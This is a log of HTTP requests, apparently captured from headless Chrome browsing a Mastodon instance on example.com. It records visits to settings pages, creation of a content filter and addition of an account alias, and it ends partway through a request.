{"method": "GET", "target": "/settings/privacy", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTAuMTUyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5c08d6d74f0722e6075e50049af8cb26ba50b415; _mastodon_session=ESvWhhLXIb5IvwEvImPQNUBcDJbL5lUz8hdAGoFy%2By%2B5L7in%2Fr607U5KmZa1rt1qQrhNwAFz9ffqF4BZs5oRDquh9ySpEghdzCa1u9zmkiVyqV%2Bvk%2F6gbpiYxvNnLLq2znYPTKrK1JCu3E918JigvXeWTFi4sQPBrUyEiNH6VfQ0OQcxd1yFOw45hXwAEL%2FqFS2KvEdC7idPB%2BC8NX9hvQMmR1QKFgPGm9YSFWbk0Jn9kxX2h9cWuGxo4fl%2Fj8%2FAETkWGqPXLfu1z%2By1rbWDOE29Juzy9RN8wtfgdaOexaF%2BULZBuWzDW7KFVp9zKryvE55LtRvvE5iies4VNG38mRxfw1LQ5BQhMgLvYAtm2flLr%2BlANCEJQxkWjKWgMRumixVoHSDp3fRY--QAvZ6RyGu3FaiU2r--MP8%2Btdujx1xsH3ZpOsONYQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/preferences/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTIuOTg1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f06c4a187472007ec80e4e16dd7c7bc5407eba76; _mastodon_session=QzNd%2B7s6RDu2pZvOPvursIx0RViZPk4FjWVqadE7TJbySS7hzA7ax3JucFyHA6ebS5NmsSJzo3Rq5a4wj%2BO%2FjwLYUM4CNUr8R8XsW7osNO39Q9Kd1m0ZafMiTXoflmIrtxu2TL%2BG6nzjRK3FCoQIv31CGtJhvA%2FBnD%2FGfsVe37lfH5ET94Wcf1dlHyEJfgW9nPpK08GhHMva7gbBrAOvIx9%2BjFRg%2FY4%2BLh27Z%2Bp9zO7JWg46LMTwosPT3WUA6LE3PVJuVS5bu2KxMlNU1PrNerK2aejiaqH13tdafiReP%2BCozkXm4UVvqSIhr%2BuGL9glbZSW6w2Pmwe886p1oTygtBtPOUkfQndAyDDHGpL6ABzJayJctEvyxDaGBXCB5gG4klAZMsRieMwA--1iV1U2xDOJ3%2F5PPZ--zld9kYcPYij9nhIL1AcMhQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/assets/inert-1no54Nn4.css", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: text/css,*/*;q=0.1", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: style", "Referer: https://example.com/settings/preferences/appearance", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9909ed63d43e9c19b084f0fb23ec55f4e59d050a; _mastodon_session=7tjo%2B%2FYpJZ3MRI8e1dRyHJr2fl%2BsXegs%2BeEUw%2Bg7yY3cP0oYetkaC572BDnqi27izpnt97Qp%2FEtFMAkofaNW57SGD%2FLF7cBLEO70lHBWrKTF62ePI8hRnldPh0CZbAprh84J%2Fp1J%2Bo33jkhTYWKvr2JbmtoDMlnY%2FGDkHQ0JvCZMMOHoN4laMahC5XOTMdsPPWYD9q8oa9bktcOiAnACRCBJXcRSnzZUkj79J9Djn0W%2FGKto%2BiWOgIxjwHi%2BfeyKX57upS%2FKWRuFH%2FqytSqlVKX7OVAEydVVKhj8Dfb2ghUAmY%2FC44OraVPLZjXGT59kvg02ghopnezQxERzk0vrETloOr54bWT2fqNrNRQ33WTXUgrwC7va2fEatdNNyHFXqahUN9maleiz--IkuvXFWBqbHiuWUm--oV5Fldvkhq%2BHBjsUJtnczg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/toString-HjykfQcJ.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/preferences/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTUuNjUzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9909ed63d43e9c19b084f0fb23ec55f4e59d050a; _mastodon_session=7tjo%2B%2FYpJZ3MRI8e1dRyHJr2fl%2BsXegs%2BeEUw%2Bg7yY3cP0oYetkaC572BDnqi27izpnt97Qp%2FEtFMAkofaNW57SGD%2FLF7cBLEO70lHBWrKTF62ePI8hRnldPh0CZbAprh84J%2Fp1J%2Bo33jkhTYWKvr2JbmtoDMlnY%2FGDkHQ0JvCZMMOHoN4laMahC5XOTMdsPPWYD9q8oa9bktcOiAnACRCBJXcRSnzZUkj79J9Djn0W%2FGKto%2BiWOgIxjwHi%2BfeyKX57upS%2FKWRuFH%2FqytSqlVKX7OVAEydVVKhj8Dfb2ghUAmY%2FC44OraVPLZjXGT59kvg02ghopnezQxERzk0vrETloOr54bWT2fqNrNRQ33WTXUgrwC7va2fEatdNNyHFXqahUN9maleiz--IkuvXFWBqbHiuWUm--oV5Fldvkhq%2BHBjsUJtnczg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/react-intl-DlKP8ATg.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/filters/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTY6NTguNTMzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--24e18be452656feeab86ad6cb063cc017e5d9d2b; _mastodon_session=RMx%2BzbbCPxKsZLL8xfC2vJk2gUMp%2F7NzSrirNmOuKt0YoaZ0X2oFOG4c9ggZmd%2FO%2Bd7BzMzTP0BIQv4cDxdb0r2Z%2FYZRAV94puVDupS7sU1yXzK21BHq5V4ikIm53DJL76wgr%2BWQ7197g188iWFzwMIB9YQsq0onkxgxXwdlcOEsGhGyjCndxCcR42rM2SBAfuafvEAKzgl43lslIXavoAwPcfGeJkB%2F8vYlid8nkj2r5l8QWaoNDnHMyE8VVbipYp3SWQ1iqUwLF4dQt9S2OZ8PI5oH%2FiJFEPO%2FEk%2BJ%2B2%2Fs%2BWvZQUZy3tv5JCUYK4QWZKxW58QyZQVkMuOzTT9BvOIzvri1ZtsQk1aZnESH%2FSB8V%2F%2FpGPz%2B3TiYO8HlMh8FRtpE32FTMJ7Z--o7%2BacWwQZ76tpCov--%2F4geSPBo1DUX4hIfR58gSg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/isSymbol-3r8dk6Lb.js", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: serviceworker", "Referer: https://example.com/sw.js", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept-Encoding: gzip, deflate, br, zstd", "Accept-Language: en-US,en;q=0.9"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/filters", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 586", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/filters/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDEuMzgxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--3ef4e1eba59269a07dcb045c6e8b15ad45f1d01a; _mastodon_session=%2B9RgFTwPbZGW3O4wyerudZE3lQeFvkltxfc%2Bs1nVBtc41FJpyWfWCsP0ZbR4%2BtwOSk4%2BsYQKr69ex9wcbfuKOr9iEZdr7jXVH1gt6Kocc5jsBR3elyIy3kYY%2FEeccGypPkM%2FCX5tZ1TMZ496hnvWA%2BBmqXHFXigDSP9GeIMLDAIFOEpGhqFvqwtHb7eH2t7%2FZTDusiNAx0S1Vb6%2B73en5l88AMuUygZrtQcDt70p9bajUkkzYx8qaCAgR8Ory9UTuQGHdXQUdsp7D5P3Kg7znfuSjiZyhlD5zrEB65nFKC4bGHUhgDS3JkXyf6VCnD7Mdl32zcWwKEdwE9XMdTf2TLtMjxxfNuBb%2F6GpzZHJDVBwCGmGNoUTlkWS9Jss1uNBea6kEcK%2FZDtJ--4%2F9voX%2BPMZz4aFrc--aLd9K%2F0Ub4dLGCAlJ5jO2w%3D%3D"], "body": "authenticity_token=LCIEgZ6K9rFHJBmbiyRj7sTI_8bL-kYEWpQz-egbprRCcaVdeI9WtKHk-qQyHULW-raiPye2V3Hgz9YnyRtHZA&custom_filter%5Btitle%5D=python3+spam&custom_filter%5Bexpires_in%5D=&custom_filter%5Bcontext%5D%5B%5D=&custom_filter%5Bcontext%5D%5B%5D=home&custom_filter%5Bfilter_action%5D=&custom_filter%5Bfilter_action%5D=warn&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5Bkeyword%5D=ls+-la&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5Bwhole_word%5D=0&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5Bwhole_word%5D=1&custom_filter%5Bkeywords_attributes%5D%5B0%5D%5B_destroy%5D=false&button="}
|
||||||
|
{"method": "GET", "target": "/filters", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/filters/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuMzI0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--178fc96acb0068990cfc47d1551418883e144e0e; _mastodon_session=M8BBwxBD6z2zVijTYQmWtBt42qydXsvrjpU%2FMAplQl7qSFExeglqxNFkX2aPWd9cSLZYcxAeamBlQjaqLDmtmz%2FuWpUNgsEVm%2F8SHPR7GdTF1QQIocbAoKb4YGpOyiJ3YcJ5Iwty69rtVG9bcFzaSXZoMMVq25d8JzJOyEplsTady12gtd%2BbLR9w2hcyCkniy4986Hu%2B2jCHjPOlvmoQGlcSIIxvLsfUT6eTTQEqG8gcuoTzuhkatxHi5MZMyxAAmgMvRKDtJm1jQ9oJ3dBY%2FWblWoawPfQdXwrvV9lP5ZtMeaKS5tTAt3JuANfyQvW%2FHSAsmthyMHpac0DZVTJyzniJhuVpivDwaRgzfpUWCvy1JvYOOWG38Elrq1BiNa8JWxnX71wjsCSQ--RXbqThSrLHijr5GF--gmYkVzz5ddwHpcscdf1zaA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/sounds/boop.ogg", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua-platform: \"Linux\"", "Accept-Encoding: identity;q=1, *;q=0", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: audio", "Referer: https://example.com/filters", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuMzQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8649e46dce24eb0e5d4f443a95aa4414914784bb; _mastodon_session=Oyuv8BRIQKPMk32FAVpeii1WikN1AqaaKEo3ML99SUI58pQVZCzJWqIg7A81qujcg8GV3SV7o8ZZjPr6p8%2BpLajtfV3Aqf%2B%2BPt2iAxDw6L6zYCgZ1eygHWqk66jZxdOEGoPKwY8ftLD5h2HXA1kwStdbslwKVXI8gF%2F2GVDYb%2FRmN4En55jiLGlg%2FSjMjsmkj8RFcuVUq81jeXKcrgxQuLIkWeem39u6ddinhlwvERRyEnEQxYZDnegrbUUp8yiIFMo2KF8Bj8S31Jw8%2BUN05l0FOPqWQlSk6tuF22QFIQP93EE6VoODQZ5r8vbvQ%2BeCjjaIfJarY0rcK62eiD6fbauhqd1HKKjmpDTO%2BtGHAh%2FfObbcOWs81apyNuIgNP4st%2FGl6oAiJ150--4G5N1RKvjI0fnHcp--Jdxfrbxt4EFmb%2BO9KRi18g%3D%3D", "Range: bytes=0-"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/filters", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuMzQzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--8649e46dce24eb0e5d4f443a95aa4414914784bb; _mastodon_session=Oyuv8BRIQKPMk32FAVpeii1WikN1AqaaKEo3ML99SUI58pQVZCzJWqIg7A81qujcg8GV3SV7o8ZZjPr6p8%2BpLajtfV3Aqf%2B%2BPt2iAxDw6L6zYCgZ1eygHWqk66jZxdOEGoPKwY8ftLD5h2HXA1kwStdbslwKVXI8gF%2F2GVDYb%2FRmN4En55jiLGlg%2FSjMjsmkj8RFcuVUq81jeXKcrgxQuLIkWeem39u6ddinhlwvERRyEnEQxYZDnegrbUUp8yiIFMo2KF8Bj8S31Jw8%2BUN05l0FOPqWQlSk6tuF22QFIQP93EE6VoODQZ5r8vbvQ%2BeCjjaIfJarY0rcK62eiD6fbauhqd1HKKjmpDTO%2BtGHAh%2FfObbcOWs81apyNuIgNP4st%2FGl6oAiJ150--4G5N1RKvjI0fnHcp--Jdxfrbxt4EFmb%2BO9KRi18g%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/aliases", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDQuNjc5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6a2a520b7bb8cd2a1e069c68a59f6aff417a3c58; _mastodon_session=JGc3Zy3GwJnO%2FnjN3s1MDvdTMThgp3mxaKnwcdjMf76Acsmgzopa6hB49OsB0DlCj9NaJTLy5z9yTAp6UXyWxHuJ3%2FAviboiVagtHcFT4MZjo2HiPkAc2kFAdEOvtz6s0HxCnWrXbSNObKf2%2FX%2FN1Tp33q4vAKi2Gcln7epjktt4XU7EBYMH585hLXlvyDWBuePpo08FUwKSlS6JjUMEAafep31NB0MKIScUUPRuEMaF8dVN%2BZoGKQcIbJnNJniGlx1Ab1UImi1%2B8rmEiZkRVtl2dhVx7dUp4oPNH%2Brweuieo5zu1ddHO1SKpUvvwVwjUPem1Ql2YA6nuHNYf6J4oMNMma7%2F2JBV7OXNambFVwv9u%2BBMQcbeWaAnXnddhl6%2FoY%2B0mdbTZa2T--g1Gw6aiczSsJ9UDJ--BAemydruKgwRPMZvem4Q%2BA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/admin-gQ_AIoJT.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/aliases", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDcuMjg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9716d2c4c827f94dab5f9de25903ab0eeb4c113e; _mastodon_session=Lgn%2B7FyEaGgWs7EjyyxtY1Q%2F4hhVvZ8BNWe7w0IMN7haJ%2B0rkJeXmSefMRTWLCpLKLYkKnbsdDvJhljvPpdcb4koVuKMt47792WCEElMpyS9mMq5qijzK9hGDgKDvqiRihE0VzsHLuqB5V6apIBgjaaiqlPNFnfxW7f6OropEqGr%2BC6vOOvjnjLJ8IXtcVUC5hGBo%2BkCnvPeGuOIWe%2BTJvlVCeliGwie1d0Ee9dDVcOtHb6iFvz2na850Vsmy24fMBbzLSmwrZfxQBVBvy9f2yKs2nH52c0lnxSEnexN3clsJ4RHUQlAKpA1ECT7M1CXik7h0yaYzgT16G9aDjXk6d1axsooeagwo2QuSS8SRV8J7EK4FZsWQfYEMb73aAervzVNQ51UPEn0--pgs80cepd48NGgMU--ketRNfEgJJC6t6r58m%2BMtQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/settings/aliases", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 160", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/aliases", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MDcuMjg5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9716d2c4c827f94dab5f9de25903ab0eeb4c113e; _mastodon_session=Lgn%2B7FyEaGgWs7EjyyxtY1Q%2F4hhVvZ8BNWe7w0IMN7haJ%2B0rkJeXmSefMRTWLCpLKLYkKnbsdDvJhljvPpdcb4koVuKMt47792WCEElMpyS9mMq5qijzK9hGDgKDvqiRihE0VzsHLuqB5V6apIBgjaaiqlPNFnfxW7f6OropEqGr%2BC6vOOvjnjLJ8IXtcVUC5hGBo%2BkCnvPeGuOIWe%2BTJvlVCeliGwie1d0Ee9dDVcOtHb6iFvz2na850Vsmy24fMBbzLSmwrZfxQBVBvy9f2yKs2nH52c0lnxSEnexN3clsJ4RHUQlAKpA1ECT7M1CXik7h0yaYzgT16G9aDjXk6d1axsooeagwo2QuSS8SRV8J7EK4FZsWQfYEMb73aAervzVNQ51UPEn0--pgs80cepd48NGgMU--ketRNfEgJJC6t6r58m%2BMtQ%3D%3D"], "body": "authenticity_token=rpk2nZjS_rJ6h0kZGCR_6GMegaA0nKTc4BiOUrEA1Qx-SGG5_1QK_NWKi2LzVFrn7HIIyQ4GfdE7CeIrYlhVEA&account_alias%5Bacct%5D=alice%40remote.example&button="}
|
||||||
|
{"method": "GET", "target": "/settings/aliases", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/aliases", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 